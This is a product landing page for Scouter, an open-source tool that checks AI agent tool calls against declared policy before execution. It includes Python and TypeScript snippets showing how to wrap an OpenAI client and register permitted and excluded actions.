Prevent AI agents from
taking dangerous actions.

The problem

AI agents are becoming
privileged non-human users.

Your agents now query databases, modify customer records, send emails, call internal APIs, trigger refunds, run shell commands, and reach into production systems.
The risk isn't bad text output. It's unsafe action execution.

Prompt injection → agent reasoning → tool call → production action → business damage.
Once the tool call fires, the damage is real. Scouter checks every action before execution.

How Scouter works

Sits between agent intent and real-world action.

Scouter intercepts every tool call. Evaluates the action, arguments, context, user intent, tool risk, and policy. Then allows, blocks, or escalates — before anything hits production.

Integration

Add runtime control without rewriting your agent.

Wrap your client. Declare what the agent is and isn't allowed to do. Every tool call is now policy-checked before execution.

from scouter.client import ScouterClient
from scouter.integrations.openai import wrap_openai
from openai import OpenAI

# 1. Init Scouter (cloud backend at scouter.intellectmachines.com)
scouter = ScouterClient(
    api_key="your-api-key",
    mode="enforce",   # audit | enforce
)

# 2. Register agent intent
intent = scouter.register_intent(
    agent_id="support-bot",
    natural_language="Answer customer questions about orders and products",
    permitted_actions=["lookup_order", "search_knowledge_base"],
    excluded_actions=["delete_order", "modify_payment"],
)

# 3. Wrap your OpenAI client — that's it
client = wrap_openai(OpenAI(api_key="..."), scouter=scouter, intent_id=intent.intent_id)

# 4. Use normally — Scouter governs every call transparently
response = client.chat.completions.create(
    model="gpt-4o-mini",
    messages=[{"role": "user", "content": "What's my order status for ORD-123?"}],
)

import { ScouterClient } from "@scouter-ai/core";
import { wrapOpenAI } from "@scouter-ai/core/integrations/openai";
import OpenAI from "openai";

// 1. Init Scouter (cloud backend at scouter.intellectmachines.com)
const scouter = new ScouterClient({
    apiKey: "your-api-key",
    mode: "enforce",
});

// 2. Register agent intent
const intent = await scouter.registerIntent({
    agentId: "support-bot",
    naturalLanguage: "Answer customer questions about orders and products",
    permittedActions: ["lookup_order", "search_knowledge_base"],
    excludedActions: ["delete_order", "modify_payment"],
});

// 3. Wrap your OpenAI client — that's it
const client = wrapOpenAI(new OpenAI(), { scouter, intentId: intent.intentId });

// 4. Use normally — Scouter governs every call transparently
const response = await client.chat.completions.create({
    model: "gpt-4o-mini",
    messages: [{ role: "user", content: "What's my order status for ORD-123?" }],
});

Tool calls in the wild

What Scouter blocks before execution.

Real agent tool calls. Real policy decisions. Made in milliseconds, before anything reaches production.

See it live

Watch Scouter block a prompt-injected agent.

A support agent with order-tool access is told to delete an order and email customer data externally. Without Scouter, the action executes. With Scouter, it's blocked before execution and logged for review.

Who it's for

For teams putting AI agents in front of real systems.

Without Scouter vs. with Scouter

Observability and IAM
weren't built for agent actions.

Monitoring tells you after the damage. IAM checks who, not what. Scouter checks the action itself — and blocks it before execution.

Build vs. Scouter

"We'll just build it ourselves."
Here's what that actually means.

A runtime control layer is a 12+ month security engineering project — not a weekend hackathon. Most teams underestimate it until the first agent incident.

FAQ

Questions, answered.

Pricing

Open source today.
Enterprise control plane next.

The runtime, SDK, and policy engine are free and Apache 2.0. The enterprise control plane is in active development — talk to the founders to shape it.